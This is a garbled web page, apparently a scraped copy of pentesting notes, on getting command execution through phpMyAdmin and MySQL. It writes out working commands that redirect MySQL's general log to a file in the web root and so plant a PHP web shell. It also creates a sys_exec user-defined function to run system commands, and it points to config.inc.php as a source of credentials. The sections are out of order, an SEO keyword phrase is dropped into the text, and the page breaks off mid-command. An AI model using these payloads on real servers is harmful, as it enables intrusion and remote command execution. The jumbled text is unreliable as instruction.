Phpmyadmin Hacktricks Verified Page

SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['c']); ?>"; -- This gets written to log file Requires MySQL SUPER privilege (often given to root user in phpMyAdmin). 3.3 User-Defined Functions (UDF) for Persistent Shell Create a MySQL UDF that executes system commands.

CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('id'); Requires plugin directory write access. Most shared hosting disables this. Part 4: Privilege Escalation via phpMyAdmin Itself 4.1 Config File Disclosure The config.inc.php file contains database credentials and sometimes auth keys. phpmyadmin hacktricks verified

Works on Apache with default www-data permissions. Fails if secure_file_priv is set or web directory not writable. 3.2 General Log File Injection (Bypasses secure_file_priv) When secure_file_priv is NULL, use this method. SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file